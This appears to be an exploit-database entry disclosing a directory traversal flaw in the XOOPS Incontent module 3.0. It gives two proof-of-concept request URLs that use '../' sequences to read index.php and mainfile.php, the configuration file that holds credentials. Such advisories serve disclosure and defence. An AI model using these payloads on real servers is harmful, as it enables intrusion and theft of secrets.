XOOPS Module module 3.0 - Directory Traversal

Author: Lostmon
type: webapps
platform: php
port: 0
date_added: 2005-01-28
date_updated: 2013-04-29
verified: 1
codes: 
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/12406/info

Xoops Incontent module is reported prone to a directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input.

A malicious user could issue a request containing directory traversal strings such as '../' to possibly view files outside the server root directory.

Incontent version 3.0 is reported to be susceptible to this vulnerability. Other versions may also be affected.

http://www.example.com/modules/incontent/index.php?op=aff&option=0&url=../../. ./index.php

http://www.example.com/modules/incontent/index.php?op=aff&optio n=0&url=../../../mainfile.php